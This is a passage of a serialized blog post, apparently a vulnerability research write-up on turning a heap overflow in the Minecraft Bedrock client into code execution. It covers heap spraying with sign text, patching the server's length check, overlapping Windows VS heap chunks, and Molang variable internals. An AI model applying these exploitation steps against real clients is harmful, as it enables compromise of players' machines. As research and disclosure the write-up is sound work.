lass":141,"line":78932},[149765,149770],{"type":23,"tag":139,"props":149766,"children":149767},{"style":245},[149768],{"type":28,"value":149769},"    remove_wall",{"type":23,"tag":139,"props":149771,"children":149772},{"style":259},[149773],{"type":28,"value":1656},{"type":23,"tag":139,"props":149775,"children":149776},{"class":141,"line":78940},[149777],{"type":23,"tag":139,"props":149778,"children":149779},{"style":259},[149780],{"type":28,"value":33227},{"type":23,"tag":24,"props":149782,"children":149783},{},[149784],{"type":28,"value":149785},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":23,"tag":24,"props":149787,"children":149788},{},[149789],{"type":23,"tag":429,"props":149790,"children":149793},{"alt":149791,"src":149792},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":23,"tag":24,"props":149795,"children":149796},{},[149797],{"type":28,"value":149798},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":23,"tag":16900,"props":149800,"children":149802},{"id":149801},"a-small-roadblock",[149803],{"type":28,"value":149804},"A Small Roadblock",{"type":23,"tag":24,"props":149806,"children":149807},{},[149808],{"type":28,"value":149809},"While testing our heap spray method, we encountered the following error:",{"type":23,"tag":128,"props":149811,"children":149813},{"code":149812},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[149814],{"type":23,"tag":135,"props":149815,"children":149816},{"__ignoreMap":7},[149817],{"type":28,"value":149812},{"type":23,"tag":24,"props":149819,"children":149820},{},[149821,149823,149829],{"type":28,"value":149822},"An error is thrown by the server executable while trying to assign text longer than ",{"type":23,"tag":135,"props":149824,"children":149826},{"className":149825},[],[149827],{"type":28,"value":149828},"512",{"type":28,"value":149830}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":23,"tag":24,"props":149832,"children":149833},{},[149834],{"type":28,"value":149835},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":23,"tag":24,"props":149837,"children":149838},{},[149839],{"type":28,"value":149840},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":23,"tag":24,"props":149842,"children":149843},{},[149844],{"type":23,"tag":429,"props":149845,"children":149847},{"alt":48476,"src":149846},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":23,"tag":24,"props":149849,"children":149850},{},[149851,149853,149859],{"type":28,"value":149852},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":23,"tag":135,"props":149854,"children":149856},{"className":149855},[],[149857],{"type":28,"value":149858},"string_length \u003C= 512",{"type":28,"value":149860}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":23,"tag":24,"props":149862,"children":149863},{},[149864],{"type":28,"value":149865},"The disassembly of the comparison looks like this:",{"type":23,"tag":24,"props":149867,"children":149868},{},[149869],{"type":23,"tag":429,"props":149870,"children":149872},{"alt":48476,"src":149871},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":23,"tag":24,"props":149874,"children":149875},{},[149876,149878,149883,149885,149890,149891,149896,149898,149904,149906,149912,149914,149919,149921,149926],{"type":28,"value":149877},"The code compares ",{"type":23,"tag":135,"props":149879,"children":149881},{"className":149880},[],[149882],{"type":28,"value":54673},{"type":28,"value":149884}," (the string length) to ",{"type":23,"tag":135,"props":149886,"children":149888},{"className":149887},[],[149889],{"type":28,"value":125718},{"type":28,"value":1042},{"type":23,"tag":135,"props":149892,"children":149894},{"className":149893},[],[149895],{"type":28,"value":149828},{"type":28,"value":149897}," decimal). It then performs a ",{"type":23,"tag":135,"props":149899,"children":149901},{"className":149900},[],[149902],{"type":28,"value":149903},"jbe",{"type":28,"value":149905},", jumping to address ",{"type":23,"tag":135,"props":149907,"children":149909},{"className":149908},[],[149910],{"type":28,"value":149911},"0x14275114c",{"type":28,"value":149913}," if ",{"type":23,"tag":135,"props":149915,"children":149917},{"className":149916},[],[149918],{"type":28,"value":54673},{"type":28,"value":149920}," is less than or equal to ",{"type":23,"tag":135,"props":149922,"children":149924},{"className":149923},[],[149925],{"type":28,"value":149828},{"type":28,"value":149927},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":23,"tag":24,"props":149929,"children":149930},{},[149931,149933,149938,149940,149946],{"type":28,"value":149932},"To force execution down this path, we patched the ",{"type":23,"tag":135,"props":149934,"children":149936},{"className":149935},[],[149937],{"type":28,"value":149903},{"type":28,"value":149939}," instruction to an unconditional ",{"type":23,"tag":135,"props":149941,"children":149943},{"className":149942},[],[149944],{"type":28,"value":149945},"jmp",{"type":28,"value":149947},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":23,"tag":24,"props":149949,"children":149950},{},[149951],{"type":23,"tag":429,"props":149952,"children":149954},{"alt":48476,"src":149953},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":23,"tag":24,"props":149956,"children":149957},{},[149958,149960,149965,149967,149972],{"type":28,"value":149959},"After patching the server and calling ",{"type":23,"tag":135,"props":149961,"children":149963},{"className":149962},[],[149964],{"type":28,"value":148069},{"type":28,"value":149966}," with a size of ",{"type":23,"tag":135,"props":149968,"children":149970},{"className":149969},[],[149971],{"type":28,"value":56047},{"type":28,"value":149973},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":23,"tag":24,"props":149975,"children":149976},{},[149977],{"type":23,"tag":429,"props":149978,"children":149980},{"alt":48476,"src":149979},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":23,"tag":16800,"props":149982,"children":149983},{},[],{"type":23,"tag":24,"props":149985,"children":149986},{},[149987],{"type":28,"value":149988},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":23,"tag":24,"props":149990,"children":149991},{},[149992],{"type":28,"value":149993},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":23,"tag":666,"props":149995,"children":149997},{"id":149996},"overlapping-heap-chunks",[149998],{"type":28,"value":149999},"Overlapping Heap Chunks",{"type":23,"tag":24,"props":150001,"children":150002},{},[150003,150005,150010],{"type":28,"value":150004},"The attack is described in detail in the referenced blog post (",{"type":23,"tag":64,"props":150006,"children":150008},{"href":147813,"rel":150007},[68],[150009],{"type":28,"value":45481},{"type":28,"value":150011},"), so we will present a high-level overview.",{"type":23,"tag":24,"props":150013,"children":150014},{},[150015,150017,150023],{"type":28,"value":150016},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":23,"tag":135,"props":150018,"children":150020},{"className":150019},[],[150021],{"type":28,"value":150022},"_HEAP_VS_CHUNK_HEADER",{"type":28,"value":150024}," structure layout is required:",{"type":23,"tag":128,"props":150026,"children":150028},{"code":150027},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[150029],{"type":23,"tag":135,"props":150030,"children":150031},{"__ignoreMap":7},[150032],{"type":28,"value":150027},{"type":23,"tag":24,"props":150034,"children":150035},{},[150036,150038,150044,150046,150052,150053,150059,150060,150066,150068,150073,150075,150080,150082,150088,150090,150095,150097,150103],{"type":28,"value":150037},"At offset 0 there is a header ",{"type":23,"tag":135,"props":150039,"children":150041},{"className":150040},[],[150042],{"type":28,"value":150043},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":28,"value":150045}," containing fields such as ",{"type":23,"tag":135,"props":150047,"children":150049},{"className":150048},[],[150050],{"type":28,"value":150051},"MemoryCost",{"type":28,"value":1052},{"type":23,"tag":135,"props":150054,"children":150056},{"className":150055},[],[150057],{"type":28,"value":150058},"UnsafeSize",{"type":28,"value":1052},{"type":23,"tag":135,"props":150061,"children":150063},{"className":150062},[],[150064],{"type":28,"value":150065},"UnsafePrevSize",{"type":28,"value":150067},", etc. For the attack we only care about the ",{"type":23,"tag":135,"props":150069,"children":150071},{"className":150070},[],[150072],{"type":28,"value":150058},{"type":28,"value":150074}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":23,"tag":135,"props":150076,"children":150078},{"className":150077},[],[150079],{"type":28,"value":124341},{"type":28,"value":150081},", so for a chunk of size ",{"type":23,"tag":135,"props":150083,"children":150085},{"className":150084},[],[150086],{"type":28,"value":150087},"0x4010",{"type":28,"value":150089}," the value of ",{"type":23,"tag":135,"props":150091,"children":150093},{"className":150092},[],[150094],{"type":28,"value":150058},{"type":28,"value":150096}," would be ",{"type":23,"tag":135,"props":150098,"children":150100},{"className":150099},[],[150101],{"type":28,"value":150102},"0x401",{"type":28,"value":73},{"type":23,"tag":24,"props":150105,"children":150106},{},[150107,150108,150113],{"type":28,"value":62117},{"type":23,"tag":135,"props":150109,"children":150111},{"className":150110},[],[150112],{"type":28,"value":150058},{"type":28,"value":150114}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":23,"tag":24,"props":150116,"children":150117},{},[150118,150120,150125,150127,150132,150134,150140,150142,150147],{"type":28,"value":150119},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":23,"tag":135,"props":150121,"children":150123},{"className":150122},[],[150124],{"type":28,"value":150058},{"type":28,"value":150126}," in the smallest possible VS chunk (",{"type":23,"tag":135,"props":150128,"children":150130},{"className":150129},[],[150131],{"type":28,"value":150087},{"type":28,"value":150133},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":23,"tag":135,"props":150135,"children":150137},{"className":150136},[],[150138],{"type":28,"value":150139},"[0x10, 0xffff0]",{"type":28,"value":150141}," range, the probability that it exceeds ",{"type":23,"tag":135,"props":150143,"children":150145},{"className":150144},[],[150146],{"type":28,"value":150087},{"type":28,"value":150148}," is:",{"type":23,"tag":128,"props":150150,"children":150152},{"code":150151},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[150153],{"type":23,"tag":135,"props":150154,"children":150155},{"__ignoreMap":7},[150156],{"type":28,"value":150151},{"type":23,"tag":24,"props":150158,"children":150159},{},[150160],{"type":28,"value":150161},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":23,"tag":24,"props":150163,"children":150164},{},[150165],{"type":28,"value":150166},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":23,"tag":16900,"props":150168,"children":150170},{"id":150169},"overlap-attack-overview",[150171],{"type":28,"value":150172},"Overlap Attack Overview",{"type":23,"tag":24,"props":150174,"children":150175},{},[150176,150178,150183],{"type":28,"value":150177},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":23,"tag":135,"props":150179,"children":150181},{"className":150180},[],[150182],{"type":28,"value":124364},{"type":28,"value":150184}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":23,"tag":24,"props":150186,"children":150187},{},[150188,150190,150195,150197,150202],{"type":28,"value":150189},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":23,"tag":135,"props":150191,"children":150193},{"className":150192},[],[150194],{"type":28,"value":146072},{"type":28,"value":150196},"-sized chunks in the free list that we want to avoid. If a ",{"type":23,"tag":135,"props":150198,"children":150200},{"className":150199},[],[150201],{"type":28,"value":146072},{"type":28,"value":150203},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":23,"tag":24,"props":150205,"children":150206},{},[150207,150209,150214],{"type":28,"value":150208},"To remove those ",{"type":23,"tag":135,"props":150210,"children":150212},{"className":150211},[],[150213],{"type":28,"value":146072},{"type":28,"value":150215},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":23,"tag":24,"props":150217,"children":150218},{},[150219],{"type":28,"value":150220},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":23,"tag":128,"props":150222,"children":150224},{"code":150223},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[150225],{"type":23,"tag":135,"props":150226,"children":150227},{"__ignoreMap":7},[150228],{"type":28,"value":150223},{"type":23,"tag":24,"props":150230,"children":150231},{},[150232,150234,150239,150241,150246],{"type":28,"value":150233},"Next we create ",{"type":23,"tag":659,"props":150235,"children":150236},{},[150237],{"type":28,"value":150238},"holes",{"type":28,"value":150240}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":23,"tag":135,"props":150242,"children":150244},{"className":150243},[],[150245],{"type":28,"value":146072},{"type":28,"value":150247},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":23,"tag":128,"props":150249,"children":150251},{"code":150250},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[150252],{"type":23,"tag":135,"props":150253,"children":150254},{"__ignoreMap":7},[150255],{"type":28,"value":150250},{"type":23,"tag":24,"props":150257,"children":150258},{},[150259,150261,150266,150268,150273],{"type":28,"value":150260},"When a ",{"type":23,"tag":135,"props":150262,"children":150264},{"className":150263},[],[150265],{"type":28,"value":146072},{"type":28,"value":150267}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":23,"tag":135,"props":150269,"children":150271},{"className":150270},[],[150272],{"type":28,"value":150058},{"type":28,"value":150274}," field will be overwritten:",{"type":23,"tag":128,"props":150276,"children":150278},{"code":150277},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[150279],{"type":23,"tag":135,"props":150280,"children":150281},{"__ignoreMap":7},[150282],{"type":28,"value":150277},{"type":23,"tag":24,"props":150284,"children":150285},{},[150286,150288,150293,150295,150300,150302,150307],{"type":28,"value":150287},"Once ",{"type":23,"tag":135,"props":150289,"children":150291},{"className":150290},[],[150292],{"type":28,"value":150058},{"type":28,"value":150294}," has been overwritten, ",{"type":23,"tag":135,"props":150296,"children":150298},{"className":150297},[],[150299],{"type":28,"value":146072},{"type":28,"value":150301}," allocation is freed immediately after, restoring the previous layout but with ",{"type":23,"tag":135,"props":150303,"children":150305},{"className":150304},[],[150306],{"type":28,"value":150058},{"type":28,"value":150308}," field corrupted:",{"type":23,"tag":128,"props":150310,"children":150312},{"code":150311},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[150313],{"type":23,"tag":135,"props":150314,"children":150315},{"__ignoreMap":7},[150316],{"type":28,"value":150311},{"type":23,"tag":24,"props":150318,"children":150319},{},[150320],{"type":28,"value":150321},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":23,"tag":128,"props":150323,"children":150325},{"code":150324},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[150326],{"type":23,"tag":135,"props":150327,"children":150328},{"__ignoreMap":7},[150329],{"type":28,"value":150324},{"type":23,"tag":24,"props":150331,"children":150332},{},[150333],{"type":28,"value":150334},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":23,"tag":128,"props":150336,"children":150338},{"code":150337},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[150339],{"type":23,"tag":135,"props":150340,"children":150341},{"__ignoreMap":7},[150342],{"type":28,"value":150337},{"type":23,"tag":16800,"props":150344,"children":150345},{},[],{"type":23,"tag":24,"props":150347,"children":150348},{},[150349],{"type":28,"value":150350},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":23,"tag":24,"props":150352,"children":150353},{},[150354],{"type":28,"value":150355},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":23,"tag":666,"props":150357,"children":150359},{"id":150358},"molang",[150360],{"type":28,"value":150361},"Molang",{"type":23,"tag":24,"props":150363,"children":150364},{},[150365,150367,150374],{"type":28,"value":150366},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":23,"tag":64,"props":150368,"children":150371},{"href":150369,"rel":150370},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[68],[150372],{"type":28,"value":150373},"syntax guide",{"type":28,"value":73},{"type":23,"tag":24,"props":150376,"children":150377},{},[150378,150380,150385,150386,150391],{"type":28,"value":150379},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":23,"tag":135,"props":150381,"children":150383},{"className":150382},[],[150384],{"type":28,"value":6580},{"type":28,"value":9002},{"type":23,"tag":135,"props":150387,"children":150389},{"className":150388},[],[150390],{"type":28,"value":13699},{"type":28,"value":150392}," operators are supported.",{"type":23,"tag":24,"props":150394,"children":150395},{},[150396,150398,150404,150406,150411,150413,150418,150419,150424,150425],{"type":28,"value":150397},"Variables are defined by prepending ",{"type":23,"tag":135,"props":150399,"children":150401},{"className":150400},[],[150402],{"type":28,"value":150403},"variable.",{"type":28,"value":150405}," to the name and assigning a value. For example, to define ",{"type":23,"tag":135,"props":150407,"children":150409},{"className":150408},[],[150410],{"type":28,"value":7089},{"type":28,"value":150412}," as the sum of ",{"type":23,"tag":135,"props":150414,"children":150416},{"className":150415},[],[150417],{"type":28,"value":64},{"type":28,"value":9002},{"type":23,"tag":135,"props":150420,"children":150422},{"className":150421},[],[150423],{"type":28,"value":1199},{"type":28,"value":13343},{"type":23,"tag":135,"props":150426,"children":150428},{"className":150427},[],[150429],{"type":28,"value":150430},"variable.result = variable.a + variable.b;",{"type":23,"tag":24,"props":150432,"children":150433},{},[150434,150436,150441,150442,150447,150448,150453,150454,150459],{"type":28,"value":150435},"Logical operators such as ",{"type":23,"tag":135,"props":150437,"children":150439},{"className":150438},[],[150440],{"type":28,"value":20427},{"type":28,"value":1052},{"type":23,"tag":135,"props":150443,"children":150445},{"className":150444},[],[150446],{"type":28,"value":71099},{"type":28,"value":1052},{"type":23,"tag":135,"props":150449,"children":150451},{"className":150450},[],[150452],{"type":28,"value":3808},{"type":28,"value":1052},{"type":23,"tag":135,"props":150455,"children":150457},{"className":150456},[],[150458],{"type":28,"value":8471},{"type":28,"value":150460},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":23,"tag":128,"props":150462,"children":150464},{"code":150463},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[150465],{"type":23,"tag":135,"props":150466,"children":150467},{"__ignoreMap":7},[150468],{"type":28,"value":150463},{"type":23,"tag":24,"props":150470,"children":150471},{},[150472],{"type":28,"value":150473},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":23,"tag":16900,"props":150475,"children":150477},{"id":150476},"molang-internals",[150478],{"type":28,"value":150479},"Molang Internals",{"type":23,"tag":24,"props":150481,"children":150482},{},[150483],{"type":28,"value":150484},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":23,"tag":24,"props":150486,"children":150487},{},[150488],{"type":28,"value":150489},"Below we describe the structures involved and their memory layout.",{"type":23,"tag":16900,"props":150491,"children":150493},{"id":150492},"molangvariable-and-molangscriptarg",[150494],{"type":28,"value":150495},"MolangVariable and MolangScriptArg",{"type":23,"tag":24,"props":150497,"children":150498},{},[150499,150500,150506],{"type":28,"value":100255},{"type":23,"tag":135,"props":150501,"children":150503},{"className":150502},[],[150504],{"type":28,"value":150505},"MolangVariable",{"type":28,"value":150507}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":23,"tag":128,"props":150509,"children":150511},{"code":150510,"language":1123,"meta":7,"className":14526,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[150512],{"type":23,"tag":135,"props":150513,"children":150514},{"__ignoreMap":7},[150515,150527,150534,150546,150559,150567,150574,150581,150593,150606,150618,150648,150656,150663,150670],{"type":23,"tag":139,"props":150516,"children":150517},{"class":141,"line":142},[150518,150522],{"type":23,"tag":139,"props":150519,"children":150520},{"style":279},[150521],{"type":28,"value":7409},{"type":23,"tag":139,"props":150523,"children":150524},{"style":259},[150525],{"type":28,"value":150526}," MolangVariable {\n",{"type":23,"tag":139,"props":150528,"children":150529},{"class":141,"line":151},[150530],{"type":23,"tag":139,"props":150531,"children":150532},{"style":259},[150533],{"type":28,"value":59686},{"type":23,"tag":139,"props":150535,"children":150536},{"class":141,"line":160},[150537,150541],{"type":23,"tag":139,"props":150538,"children":150539},{"style":279},[150540],{"type":28,"value":4055},{"type":23,"tag":139,"props":150542,"children":150543},{"style":259},[150544],{"type":28,"value":150545}," HashedString {\n",{"type":23,"tag":139,"props":150547,"children":150548},{"class":141,"line":169},[150549,150554],{"type":23,"tag":139,"props":150550,"children":150551},{"style":279},[150552],{"type":28,"value":150553},"        uint64_t",{"type":23,"tag":139,"props":150555,"children":150556},{"style":259},[150557],{"type":28,"value":150558}," variable_name_hash;\n",{"type":23,"tag":139,"props":150560,"children":150561},{"class":141,"line":178},[150562],{"type":23,"tag":139,"props":150563,"children":150564},{"style":259},[150565],{"type":28,"value":150566},"        std::string variable_name;\n",{"type":23,"tag":139,"props":150568,"children":150569},{"class":141,"line":187},[150570],{"type":23,"tag":139,"props":150571,"children":150572},{"style":259},[150573],{"type":28,"value":36887},{"type":23,"tag":139,"props":150575,"children":150576},{"class":141,"line":196},[150577],{"type":23,"tag":139,"props":150578,"children":150579},{"style":259},[150580],{"type":28,"value":59686},{"type":23,"tag":139,"props":150582,"children":150583},{"class":141,"line":205},[150584,150588],{"type":23,"tag":139,"props":150585,"children":150586},{"style":279},[150587],{"type":28,"value":4055},{"type":23,"tag":139,"props":150589,"children":150590},{"style":259},[150591],{"type":28,"value":150592}," MolangScriptArg {\n",{"type":23,"tag":139,"props":150594,"children":150595},{"class":141,"line":214},[150596,150601],{"type":23,"tag":139,"props":150597,"children":150598},{"style":279},[150599],{"type":28,"value":150600},"        uint32_t",{"type":23,"tag":139,"props":150602,"children":150603},{"style":259},[150604],{"type":28,"value":150605}," value_type;\n",{"type":23,"tag":139,"props":150607,"children":150608},{"class":141,"line":1320},[150609,150613],{"type":23,"tag":139,"props":150610,"children":150611},{"style":279},[150612],{"type":28,"value":150553},{"type":23,"tag":139,"props":150614,"children":150615},{"style":259},[150616],{"type":28,"value":150617}," value;\n",{"type":23,"tag":139,"props":150619,"children":150620},{"class":141,"line":1329},[150621,150626,150630,150634,150639,150643],{"type":23,"tag":139,"props":150622,"children":150623},{"style":259},[150624],{"type":28,"value":150625},"        std::vector",{"type":23,"tag":139,"props":150627,"children":150628},{"style":982},[150629],{"type":28,"value":3808},{"type":23,"tag":139,"props":150631,"children":150632},{"style":279},[150633],{"type":28,"value":7409},{"type":23,"tag":139,"props":150635,"children":150636},{"style":259},[150637],{"type":28,"value":150638}," MolangScriptArg",{"type":23,"tag":139,"props":150640,"children":150641},{"style":982},[150642],{"type":28,"value":8471},{"type":23,"tag":139,"props":150644,"children":150645},{"style":259},[150646],{"type":28,"value":150647}," struct_fields;\n",{"type":23,"tag":139,"props":150649,"children":150650},{"class":141,"line":1580},[150651],{"type":23,"tag":139,"props":150652,"children":150653},{"style":259},[150654],{"type":28,"value":150655},"        \n",{"type":23,"tag":139,"props":150657,"children":150658},{"class":141,"line":1597},[150659],{"type":23,"tag":139,"props":150660,"children":150661},{"style":259},[150662],{"type":28,"value":121943},{"type":23,"tag":139,"props":150664,"children":150665},{"class":141,"line":1614},[150666],{"type":23,"tag":139,"props":150667,"children":150668},{"style":259},[150669],{"type":28,"value":36887},{"type":23,"tag":139,"props":150671,"children":150672},{"class":141,"line":1627},[150673],{"type":23,"tag":139,"props":150674,"children":150675},{"style":259},[150676],{"type":28,"value":14589},{"type":23,"tag":24,"props":150678,"children":150679},{},[150680,150682,150687],{"type":28,"value":150681},"In memory a ",{"type":23,"tag":135,"props":150683,"children":150685},{"className":150684},[],[150686],{"type":28,"value":150505},{"type":28,"value":150688}," instance resembles:",{"type":23,"tag":128,"props":150690,"children":150692},{"code":150691},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[150693],{"type":23,"tag":135,"props":150694,"children":150695},{"__ignoreMap":7},[150696],{"type":28,"value":150691},{"type":23,"tag":24,"props":150698,"children":150699},{},[150700],{"type":28,"value":150701},"For reference, example debugger view of the layout:",{"type":23,"tag":24,"props":150703,"children":150704},{},[150705],{"type":23,"tag":429,"props":150706,"children":150708},{"alt":48476,"src":150707},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":23,"tag":24,"props":150710,"children":150711},{},[150712],{"type":28,"value":150713},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":23,"tag":24,"props":150715,"children":150716},{},[150717,150719,150725,150727,150732,150734,150740,150742,150747,150748,150753,150755,150760,150761,150767,150768,150774],{"type":28,"value":150718},"We only care about the ",{"type":23,"tag":135,"props":150720,"children":150722},{"className":150721},[],[150723],{"type":28,"value":150724},"MolangScriptArg",{"type":28,"value":150726}," beginning at offset ",{"type":23,"tag":135,"props":150728,"children":150730},{"className":150729},[],[150731],{"type":28,"value":126822},{"type":28,"value":150733}," because it contains variable values. In the screenshot above, the ",{"type":23,"tag":135,"props":150735,"children":150737},{"className":150736},[],[150738],{"type":28,"value":150739},"value_type",{"type":28,"value":150741}," at ",{"type":23,"tag":135,"props":150743,"children":150745},{"className":150744},[],[150746],{"type":28,"value":126822},{"type":28,"value":3504},{"type":23,"tag":135,"props":150749,"children":150751},{"className":150750},[],[150752],{"type":28,"value":2021},{"type":28,"value":150754}," (meaning float), and the ",{"type":23,"tag":135,"props":150756,"children":150758},{"className":150757},[],[150759],{"type":28,"value":37042},{"type":28,"value":150741},{"type":23,"tag":135,"props":150762,"children":150764},{"className":150763},[],[150765],{"type":28,"value":150766},"0x38",{"type":28,"value":3504},{"type":23,"tag":135,"props":150769,"children":150771},{"className":150770},[],[150772],{"type":28,"value":150773},"0xbf2070c8",{"type":28,"value":73},{"type":23,"tag":24,"props":150776,"children":150777},{},[150778,150780,150786,150788,150793,150795,150800,150801,150806,150808,150813,150815,150820],{"type":28,"value":150779},"During assignment, such as ",{"type":23,"tag":135,"props":150781,"children":150783},{"className":150782},[],[150784],{"type":28,"value":150785},"variable.a = variable.b",{"type":28,"value":150787},", each field of ",{"type":23,"tag":135,"props":150789,"children":150791},{"className":150790},[],[150792],{"type":28,"value":150724},{"type":28,"value":150794}," is copied from variable ",{"type":23,"tag":135,"props":150796,"children":150798},{"className":150797},[],[150799],{"type":28,"value":1199},{"type":28,"value":54675},{"type":23,"tag":135,"props":150802,"children":150804},{"className":150803},[],[150805],{"type":28,"value":64},{"type":28,"value":150807},". Interestingly, the ",{"type":23,"tag":135,"props":150809,"children":150811},{"className":150810},[],[150812],{"type":28,"value":37042},{"type":28,"value":150814}," field is always copied as a ",{"type":23,"tag":135,"props":150816,"children":150818},{"className":150817},[],[150819],{"type":28,"value":53533},{"type":28,"value":150821}," even if the type is a 32-bit float.",{"type":23,"tag":24,"props":150823,"children":150824},{},[150825,150827,150833],{"type":28,"value":150826},"Each entity stores its variables in a per-entity vector called 